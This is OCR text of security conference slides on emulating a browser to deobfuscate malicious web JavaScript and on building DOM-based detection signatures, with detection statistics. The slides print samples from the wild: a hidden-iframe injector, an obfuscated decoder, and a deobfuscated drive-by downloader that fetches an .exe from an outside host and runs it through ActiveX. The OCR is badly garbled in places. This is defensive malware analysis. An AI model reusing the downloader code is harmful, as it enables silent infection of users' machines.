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Malcode analysis

= Current malcode research is focused on binary analy

= Multiple tools to assist researchers in analysis.
* IDA
* OllyDbg E;

= Fact: More delivery of malware is moving to the web.

il

= A new set of skills and tools are required.




What you know...
What you need to know...

= Malicious binary analysis

* Languages: Assembly, C, C++, vb, delphi, etc.

* Concepts: PE file format, win32 function usage, unpacking, anti-
disassembling tricks, etc.

* Tools: IDA, OllyDbg, PEID, Imprec "

= Malicious web content analysis B

° Languages: (D)HTML, VBScript, JavaScript, Perl/Python/Ruby !

* Concepts: HTTP Protocol, XMLHTTPRequest, Document Obje
Model (DOM), Browser Security Models, JSON, |

°* Tools: ??7?




Those Who Forget History Are
Doomed to Repeat It

= Malcode authors will protect malicious web cont
same way they protected malicious binaries.

* Signature evasion
* Anti-analysis techniques

* Pain in the #*&#9%! for all researchers!!



Unpacking and anti-debugging

= Packing/Protecting/Anti-reversing

= Compression, Encryption, CRC protection
= Anti-debugging

= Virtualization detection

= Anti-emulation

= XOR stubs



Obfuscation Evolution

String splitting:

* “AD” + “ODB.S” + “treAM”

String encoding/escaping: /
* “%41\u0044” + “O\x44%42\u002ES” + “t%72eAM”¢'
Closing html tags (e.g. </ TEXTAREA>)
Code length dependant obfuscation:

° arguments.callee.toString()

Server-side [poly|metal-morphic obfuscati




Malicious JavaScript

fhimlx
<head >
{title}{ftitle}
Iﬁ'. =II- 'l.l' . 11

function start() {

var iframe = document.createElement('iframe’);

iframe.setéttributel 'width', 1);
iframe.setAttributel "height', 1);
iframe.style.border = '8'; . T
iframe.setAttributel'sre', ' 7t=gwdiodl ik fe b AN U e i e e pid e

document.getElementById( 'mybody’ ). appendChild(iframe);

}

¢/script>
</head?

¢body onLoad="start();" id="mybody"?>

< /body>
/html s



What we actually see...

<html *

¢script language="JavaScript”?
£l --

function mBovagTaZ(wuvB3kP7E) {var SKBlsTHalO=arguments.callee. toString().replaoc
toUpperCase( ) ; var nSUFcUdeaJ;var M17xSiyGo;var wrjNAJYYD=SEBlsTHal. length;var c
MFJBIGRWE="";var nes=182;var rcBKySkMd=new Arrayl(); for(M17xSiybo=0;M17xSiybodz
FeBKYSHNd [M17xSiy6o] =0; var nSUFcUdeJ=1;var aft=new Arrayl); for(M17?=Siybo=128;F
1) {nSUFcUdBJ=(nSUFcUdB 3> 311~ ( (nSUFcUdBJEL ) 73088202384: 8); for (m21vdyR22=0; m2 1w
M17xSiyGo*2) {rcBEySKHHd [m21vdyRZZ+M17PxSiybo] =(rcBEySHHd [m21vdyR22 ] “nSUFcUdad) ; i1
m21vdyRZ224+M17xSiybo] < B8) {rcBEySWMd [m21vdyR22+M17xSiybo] +=4204067296; } } }aLaDf1y
RSUFcUdB. =8 ; nSUF cUdB. Cwrj MAIYYD; nSUF cUd@l++) { gL 30 f1¥Se=rcBEySkHd [ (gL30 f1YSc~SKB1
nSUFeUdB. ) )8255] ~( (gL3Df1YSc» »B)816777215) ; }gL3Df1YSc=gL 30 f1YSc 4204067205 ; AAA [
gL30f1¥Sc<@) {gLa0flYSc+=4704067206; }glLa30f1Y¥Sc=gL30f1YSc. toString(16). toUpperCas
new Arrayl);var wrijMaJYyD=gL3Df1YSec. length; for(M1?=xSiybo=0;M17xSiybo{8; M17=xSiyl
+ M17xSiyBo »= B) {=YZUatl¥1[M17xSiyb6ol=gL30f1YSc.charCodedt(M17=Siybo+wr j HAJYYC
w¥2Unt1¥] [M17=Siubo] =48; } lvar WPZBegWHM=8; var WS218236y;var MFJBIGRAWE='';var =
TVCxp4EZ23;var stop_screen = "10681";wrjiNAJVYD=uwuvB3kP7E. length; for(M17xSiyGo=0;F
M17xSiyBo+=2) {WS5218236y=parselnt(wuvB3kP7E. substr(M17xSiybo, 2),16); TYCxp4E23=h
WPZBegHH] ; i f(TYCxp4EZ3<B) {TVCxp4E23 += 256; }MFJBIGRWB+=5tring. fromCharCodel(TV
"1082"; i f(WP2BeghHM <xY2Uatl¥1. length- 1J{HPEHEQHHH++ } else {WPZBeglHN=@;}}docu
mﬁ:uugTuEE

' SBECA494029AbSaTE69-0 29F 9 Pa6AG9AABE0S3TE91laTAGBEa9a20AA1la453833dE2515e5SE3a9 ba
Q65 VbE6AESBEODE40B948193VA66V909aca Y9136 VOAAADEYEDE1VE929AB391A39BASY9eAAlBAAT
2B 79cbd9Yo00aoEAIAAAIE 2919496086801 8a 09 7o0oBS VoA Y IaboB0alAl90A388940995595A60
edVECAVILAIESVAVEL3906594A187VE981a69 20358847 7ERV YEE986291AAB 2V aaaabVEa61 V69290




Our Approach

= Emulation: a browser without a browser...
* HTML Parser

°* DOM Implementation

° Scripting Engine(s)/Interpreter(s)
= Allow the page to decode itself 2

= Don’t render content, just log everything!




HTML Parser

= The first step in emulating a browser: HTML.

= Retrieve all the content needed by the page:
external SCRIPTs, IFRAMEs, etc.

= Side effect — basic HTML obfuscation is defeated: !

* <iframe src="&#104:&#116:&#116:&#112;
&H#S8:&#HAT:&H#HAT % TT%TT%T7T7%2E%




A Little DOM, Please

= Modern browsers are dynamic, so our emulator
must also be.

= Implement Document Object Model

= Attempting to detect all instances of an element by |
simply parsing static HTML is not enough.... |

* createElement('IFRAME’);




Coming At You Like A Spider Monk

= |Integrate scripting engine(s) with our DOM to
execute scripts as they are discovered

= Scripts are [mostly] safe for execution

" Firefox’s SpiderMonkey JavaScript Engine
(MPL/GPL/LGPL)



The Missing Pleces

= Implement all of the objects/functions that the
browser provides:

Native JavaScript Browser Supplied
eval() alert()

String.fromCharCode() document.write()

escape() location.href

Math.random() window.status

= Few internal tweaks to mimic JScript (IE)

°* e.g., arguments.callee.toString()




S \ ** % 2007-08-10 15:08:57 --- HT2 Ca%h* User:] arice] Theme:] Simplej
Threatseeker ~ #%% 2007-07-23 16:17:06 --- Updated File Context »
/ FEE2007-07-1909:17:12 --- Feature Requests *
rrEE2007-07-12 22:10:49 - FI|E5 WS\.-'T I'ESEEII'II'III'IIJ r

el ol M e A i e s e —_—

Subiect

1:IJTJ I_=J URLs - Manual Report page 1 of 1 {1 rows)
URLs Selected: 1 MII\IE_J’TitIE Status ®Category
http: fAdougansss . camsnunSpage. text/html HTTP/1.1 200 OK Malicious Web Sit




. 1\ £%% 2007-08-10 15:08:57 --—- HT2 Ca%h > User:] arice] Theme:} Simplej
17:12 --- Feature Requests *
*2007-07-12 22:10:49 - FI|E5 WS\.-'T I'ESEEII'II'III'IIJ -

el ol M e A i e s e —_—

¥E¥ 2007-07-23 16:17:06 --- Updated File Context®*
ThreatSeeker Ol i

Subiect

1:IJTJ I_=J URLs - Manual Report page 1 of 1 {1 rows)

URLs Selected: 1 MII\IE_J’TitIE Status @Category

e Lunpage. ht — | text/html HTTP/1.1 200 OK Malicious Web Sit
Action

BS2 Sitecheck
B5Z URL Reporter
Cateqgorize
Deobfuscate
RTSU Details '
URL Details

WEWT

Filter
Selected

Select
Togqgle

Toggle Category
Toggle Hostname
Toggle IP

Toggle Server
Toggle Status



b 2 = & & et d ] . e s -
- 2007-08-10 15:08:57 --- HT2 Ca$h » User:] arice] Theme:] Snnplej

¥Ex 2007-07-23 16:17:06 --- Updated File Context*
ThreatSeeker Fl -

17:12 --- Feature Requests *
*2007-07-12 22:10:49 - FI|E5 WS\.-'T I'ESEEII'II'III'IIJ r

el ol M e A i e s e —_—

Subiect

1:IJTJ I_=J URLs - Manual Report page 1 of 1 {1 rows)

URLs Selected: 1 Action Status @Category

http: ffdougansss. camsnunspage. html {12 Egerﬂ;ﬂ HTTP/1.1 200 OK Malicious Web Sit
cf ' ;

}:J _] Deobfuscation Results

Event Result
ifrarme loading.html

|:h:u:.|_1rr|er'|t ) ?E.E Bytes
document 768 Bytes
docurnemnt y» 768 Bytes
document . write 240 Bytes
eval 52 Bytes
ey al 1593 Bytes
document.write 942 Bytes
createElement object
setattribute id
setAttribute classid
Time 0.07685
Final State 4254




e ##% 2007-08-10 15:08:57 --- HT2 Cash*» User:] arice] Theme:] Simplej
Threatseeker #%% 2007-07-23 16:17:06 --- Updated File Context »
/ FEE2007-07-1909:17:12 --- Feature Requests *
rEE2007-07-12 22:10:49 - FI|E5 WS\.-'T I'ESEEII'II'III'IIJ r

el Al e e A i s A e —_—

Subiect

1:IJTJ I_=J URLs - Manual Report page 1 of 1 {1 rows)

URLs Selected: 1 Action Status @ Category
Jhttp: Arfdougansss. camsnunSpage . homl (12 Events) HTTP/1.1 200 OK Malicious ‘Web Sit

}:J _] Deobfuscation Results

Event Result
ifrarme loading.html

docurnent.write FLaER L=
: 768 Bytes % |

docurnemnt

document 768 Bytes
docurnemnt » 768 Bytes
document . write 240 Bytes
eval 52 Bytes
ey al 1593 Bytes
document . write 942 Bytes
createElement object
setattribute id
setAttribute classid
Time 0.07685
Final State 4254




. %% 2007-08-10 15:08:57 --- HT2 Cash » User:] arice] Theme:} Simplej
Threatseeker #%% 2007-07-23 16:17:06 --- Updated File Context »
/ FEE2007-07-1909:17:12 --- Feature Requests *
rrEE2007-07-12 22:10:49 - FI|E5 WS\.-'T I'ESEEII'II'III'IIJ r

el ol M e A i e s e —_—

Subiect

1:IJTJ I_=J URLs - Manual Report page 1 of 1 {1 rows)
URLs Selected: 1 Action Status @Category
Shttp: ffdougansss. camsnunspage. html {12 Events) HTTP/1.1 200 OK Malicious Web Sit

}:J _] Deobfuscation Results

Event Result

ifrarme loading.html
document . write 768 Bytes
docurnent

document e 768 Bytes
docurnemnt y» 768 Bytes
document,w
eval 52 Bytes 5 )0
ey al 1593 Bytes
document.write 942 Bytes
createElement object
setattribute id
setAttribute classid

Time 0.07685
Final State 4254




b 2 = & & et d ] . e s -
- 2007-08-10 15:08:57 --- HT2 Ca$h » User:] arice] Theme:] Snnplej

¥Ex 2007-07-23 16:17:06 --- Updated File Context*
Threatseeker / rEE2007-07-1909:17:12 --- Feature Requests *

*2007-07-12 22:10:49 - FI|E5 WS\.-'T I'ESEEII'II'III'IIJ r

el ol M e A i e s e —_—

Subiect

1:IJTJ I_=J URLs - Manual Report page 1 of 1 {1 rows)
URLs Selected: 1 Action Status @Category
Shttp: ffdougansss. camsnunspage. html {12 Events) HTTP/1.1 200 OK Malicious Web Sit

}:J _] Deobfuscation Results

Event Result
ifrarme loading.html

|:h:u:.|_1rr|er'|t ) ?E.E Bytes
document : 768 Bytes
document y 768 Bytes
document,write 240 Bytes

E!'l.l'al W
aval 1&_:] var url = "http://dougans

document.write 942 Bytes
createElement object
setattribute id

set.

At ribute classid
Time 0.07685
Final State 4254



SE ¥ %% 2007-08-10 15:08:57 --- HT2 Cash > User:] arice) Theme:} Simplej
Thre atseeker kx¥ 2007-07-23 16:17:06 --- Updated File Context*
, TEF2007-07-1909:17:12 --- Feature Requests *
rEE2007-07-12 22:10:49 --- FI|E5 WS\.-'T I'ESEEII'II'III'IIJ k

f M e A e e A —_—

Subiect

1:IJTJ I_=J URLs - Manual Report page 1 of 1 {1 rows)

URLs Selected: 1 Action Status @ Category
Jhttp: frdougansss. comsunpage. html (12 Events) HTTP/1.1 200 OK Malicious \Web *

}:J _] Deobfuscation Results

Event Result
ifrarme loading.html
document . write 768 Bytes
docurnemnt » 768 Bytes
docurmen 768 Bytes
daocurnen ite 768 Bytes
document . write 240 Bytes
1y al 52 Bytes

docurnent, w rihﬂ

=0

setittrib utn:e
Time
Final State

T
A =
(my} ﬁl

m




b 2 = & & et d ] . e s -
- 2007-08-10 15:08:57 --- HT2 Ca$h » User:] arice] Theme:] Snnplej

¥Ex 2007-07-23 16:17:06 --- Updated File Context*
ThreatSeeker Fl -

17:12 --- Feature Requests *
*2007-07-12 22:10:49 - FI|E5 WS\.-'T I'ESEEII'II'III'IIJ r

el ol M e A i e s e —_—

Subiect

1:IJTJ I_=J URLs - Manual Report page 1 of 1 {1 rows)
URLs Selected: 1 Action Status @Category
Shttp: ffdougansss. camsnunspage. html {12 Events) HTTP/1.1 200 OK Malicious Web Sit

}:J _] Deobfuscation Results

Event Result
ifrarme loading.html

|:h:u:.|_1rr|er'|t ) ?E.E Bytes

document 768 Bytes

docurnemnt y» 768 Bytes

document . write 240 Bytes

eval 52 Bytes

ey al 1593 Bytes

document. write EEY tes

createElement object E"h"w Data
Attribute id Copy Data

aftribute classid

Time 0.07685

Final State 4254

seth
set




k% 2007-08-10 15 :57 --- HT2 Ca%h*

. \\ £%* 2007-07-23 16:17:06 --- Updated File Context »
Threatseeker -‘,T *¥* 2007-07-19 00 :12 --- Feature Requests *

Subiect bl

wEE 2N007-07-12 22 149 --- Files: WSYT rescanning *

Pl e e e e - -

User:] arice] Theme:] Simple]

® FT) 441) wpP) 292 / 0] UP] 344) 3] 0 / O

Reports *] Tools v

x| JeurLs - m x]_] Data s

URLs Selected: 1
Jhttp: f/dougans

<Ecript-

var ohj BDS5 = document.createElement ('object'):

obj RDS. setfttribute{'id', 'chj BDS');

uhj:RDS.set]lttrihute{ 'classid', 'clsid:BD96C556-65A3-11D0-983R-00C04FC29E36 ') ;

var is oh] adodh = 0;

try ~

{
rar ob]j adodb .Createdbject {" adodbh.stream" ,"");
iz obj adodb

H

catchie) [}

if {is_obj adodbh != 1)
{
try
{
rar obj adodb new ActiveXOhject (" adodh.stream");
is_uhj_adudh 1;

}
catchi{e){}

if (i obj adodbh = 1)
{
try

{
var obj Shellipp =
ohj BDS.(Createlbject{"Shell.fpplication" ,""};
- var ohj] mexml? = new ActiveXDbject ("msxml?. XM HITE") ;
uhj_manlE open{"GET" ,url, false);
nhi mexml ?. sendih:

page 1 of 1 {1 rows) JJ
Status ®Category
nts) HTTP/1.1 200 OK Malicious ‘“Web Sites

3{] :] Deobfuscation Results

Event Result
ifrarme loading.html
document . write 768 Bytes
docurnent.write 768 Bytes
document . write 768 Bytes
docurnent.write 768 Bytes
document . write 240 Bytes
eval 52 Bytes
ey al 1593 Bytes
document . write 942 Bytes
createElement object
setattribute id
setAttribute classid
Time 0.07685
Final State 4254




k% 2007-08-10 15 :57 --- HT2 Ca%h*

. \\ £%* 2007-07-23 16:17:06 --- Updated File Context »
Threatseeker -‘,T *¥* 2007-07-19 00 :12 --- Feature Requests *

Subiect bl

wEE 2N007-07-12 22 149 --- Files: WSYT rescanning *

Pl e e e e - -

User:] arice] Theme:] Simple]

® FT) 441) wpP) 292 / 0] UP] 344) 3] 0 / O

Reports *] Tools v

x| JeurLs - m x]_] Data

URLs Selected: 1
Jhttp: f/dougans

<Ecript-

var ohj BDS5 = document.createElement ('object'):

obj RDS. setfttribute{'id', 'chj BDS');

uhj:RDS.set]lttrihute{ 'classid', 'clsid:BD96C556-65A3-11D0-983R-00C04FC29E36 ') ;

var is oh] adodh = 0;

try ~

{
rar ob]j adodb .Createdbject {" adodbh.stream" ,"");
iz obj adodb

H

catchie) [}

if (is_obj adodh != 1)
{
try

{
rar obj adodb new ActiveXOhject (" adodh.stream");

iz obj adodb 1;

}
catchi{e){}

if (i obj adodbh = 1)
{
try

{
var obj Shellipp =
ohj BDS.(Createlbject{"Shell.fpplication" ,""};
- var ohj] mexml? = new ActiveXDbject ("msxml?. XM HITE") ;
uhj_manlE open{"GET" ,url, false);
nhi mexml ?. sendih:

page 1 of 1 {1 rows) JJ
Status ®Category
nts) HTTP/1.1 200 OK Malicious ‘“Web Sites

3{] :] Deobfuscation Results

Event Result
ifrarme loading.html
document . write 768 Bytes
docurnent.write 768 Bytes
document . write 768 Bytes
docurnent.write 768 Bytes
document . write 240 Bytes
eval 52 Bytes
ey al 1593 Bytes
document . write 942 Bytes
createElement object
setattribute id

setattribute
Time 0.07685 clsid:BD96C556-6543-11D0-3533A-00CAAFC29ES6

Final State 4254




. n“ *** 2007-08-10 15:08:57 --- HT2 Cash» User:] arice] Theme:) Simple]
Threatseeker **%% 2007-07-23 16:17:06 --- Updated File Context

%) | #** 2007-07-19 09:17:12 --- Feature Requests » ® FT) 441) wpP) 292 / 0] UP] 344) 3] 0 / O

wEE 2N007-07-12 22:10:49 --- Files: WSYT rescanning *

el Al e e A i s A e -

Subiect b Reports *] Tools v

E{JJ@URLs—M E]:] Data page 1 of 1 {1 rows) JJ

URLs Selected: ]/ —3f (1= ohj adodd = I} Status ®Category

Lhttp: frdougans | : nts) HTTP/1.1 200 OK Malicious ‘“Web Sites
ry

{ ] i j 1_'1]_] Deobfuscation Results
rar obj adodb = new ActiveXOhject("adodh.stream"): .

is  ohj adodbh = 1; Event Result

ifrarme loading.html

document . write 768 Bytes

docurnent.write 768 Bytes

) ) ) document.write 768 Bytes

}f Bl (hg] St = 1) docurment.write 768 Bytes
try document . write 240 Bytes

{ eval 52 Bytes

var ohj_Shellfipp = eval 1593 Bytes
obj RDE.CreateObject ("Shell.fApplication” ,""}; 4

var obj msxml? = new ActiveXObject ('msxml2.XMLHTTP"); document.write 942 Bytes
obi_msxml2?.open{"GET" , g, false) ; createElement object

ob]_msxml2.send(}; [}S setattribute id
setattribute classid

obj adodh.type = 1; Time 0.07685
ob] adodb.open() ; Final State 4254
ob] adodb.Write {ob] msxml 2. responseBody) ;
var fn = "C:4\136110103225.exe";
ob] adodb.SaveToFile(fn,2);
ob]_ adodh.close();

obj_ 5Shellfipp.ShellExecute(fn) :

}

catchie){}

}
catchi{e){}

}

< fscript>-




. n“ *** 2007-08-10 15:08:57 --- HT2 Cash» User:] arice] Theme:) Simple]
Threatseeker **%% 2007-07-23 16:17:06 --- Updated File Context
%) | #** 2007-07-19 09:17:12 --- Feature Requests » ® FT) 441) wpP) 292 / 0] UP] 344) 3] 0 / O
wEE 2N007-07-12 22:10:49 --- Files: WSYT rescanning *

Subiect b Reports *] Tools v

E{JJ@URLs—M E]:] Data page 1 of 1 {1 rows) JJ

URLs Selected: ] /3 (1= ohj adodd I= I} Status ®Category

Lhttp: frdougans | : nts) HTTP/1.1 200 OK Malicious ‘“Web Sites
ry

{ ] i j 1_'1]_] Deobfuscation Results
rar obj adodb = new ActiveXOhject("adodh.stream"): .

is  ohj adodbh = 1; Event Result

ifrarme loading.html

document . write 768 Bytes

docurnent.write 768 Bytes

) ) ) document.write 768 Bytes

}f Bl (hg] St = 1) docurment.write 768 Bytes
try document . write 240 Bytes

J gval O uto
rar obj Shellipp = aval var url = "http: /S dougansss.constesloadergs. exe™;
obh] RDS.CreateObject {"Shell.Application" ,""};

var obj msxml? = new ActiveXObject ('msxml2.XMLHTTP"); document.write 942 Bytes
obi_msxml2?.open{"GET" , g, false) ; createElement object
ob]_mexml2.send() setattribute id

setattribute classid

obj adodh.type = 1; Time 0.07685
ob] adodb.open() ; Final State 4254
ob] adodb.Write {ob] msxml 2. responseBody) ;
var fn = "C:4\136110103225.exe";
ob] adodb.SaveToFile(fn,2);
ob]_ adodh.close();

obj_ 5Shellfipp.ShellExecute(fn) :

}

catchie){}

}
catchi{e){}

}

< fscript>-




Automated Usage

= |Integrated with our miners

* Lots and lots of tuning ... (Dec '06)

= 100,000,000+ URLs analyzed every 24 hrs

= Even after the initial decoding, string matching is still
futile: “AD” + "ODB.S” + “treAM”




New Technique, New Signatures e,

= Detect specific DOM element + attribute combin
1. New <OBJECT> created
2. <OBJECT>.classid = “BD96C556-65A3...."
3. <OBJECT>.CreateObject(“adodb.stream?)

= Can still match “old fashion” signatures *inside*
document.write() and eval() calls




24 Hours — 111M URLs
124,232 Infected (0.11%)

VBScript
133

<OBJECT> [N
12394 |

<IFRAME>
21937

document.write()
38654




Limitations — JavaScript Only?

= Qther Languages”?

° Same concepts apply!
= VBScript

* vbscript.dll under WinE!

* Currently working on experimental version
= ActionScript

* Partially implemented when Adobe open s
the engine; now part of Mozilla’'s Tama



= Attackers can potentially use intentional errors )

prevent code execution

= |dentical input/output is very important

= Easy: document.width

= Hard: window.open()

= Really

= Centra

nard: XMLHTTPRequest

ized verbose error logging!




Limitations — Denial of Service

= JS SetBranchCallback

* Look familiar?

Warning: Unresponsive script

3] A scripk on this page may be busy, ar it may have stopped responding. You can skop the scripk now,
open the scripk in the debugger, or let the script conkinue,

| Stop scripk | |II:IE:I:|IJ|;| sCripk | | _ontinue

= Separate thread monitoring execution time




Limitations — User Interaction

= Malicious code could potentially rely upon a user
action before execution begins

= We implemented some basic event handling:
* body — onload
* window — focus
°* document —onmouse

= Not foolproof!



CaffeineMonkey

* Ben Feinstein & Daniel Peck @ SecureWorks
= Released Open Source

= Excellent tool for manual reverse engineering of
obfuscation; needs HTML/DOM!

= Promising research that attempts to identify malicious |
activity based on behavior, not static signatures. |

= http://secureworks.com/research/tools/caffeinemonkey.h




Other Resources

= Tutorials from ISC, excellent starting point

* http://handlers.sans.org/dwesemann/decode/

= Jose Nazario’'s CanSecWest presentation

* http://www.cansecwest.com/slides07/csw07-nazario.pdf

= Websense Blogs

* http://www.websense.com/securitylabs/blog/blog.php?BloglD=86
* http://www.websense.com/securitylabs/blog/blog.php?BloglD=98

* http://www.websense.com/securitylabs/blog/blog.php?BI



http://handlers.sans.org/dwesemann/decode/
http://www.cansecwest.com/slides07/csw07-nazario.pdf
http://www.websense.com/securitylabs/blog/blog.php?BlogID=86
http://www.websense.com/securitylabs/blog/blog.php?BlogID=98
http://www.websense.com/securitylabs/blog/blog.php?BlogID=142

e “End

=Stephan Chenette *Alex Rice
Principle Security Researcher Sr .Security Researcher
Schenette || websense com arice || websense com
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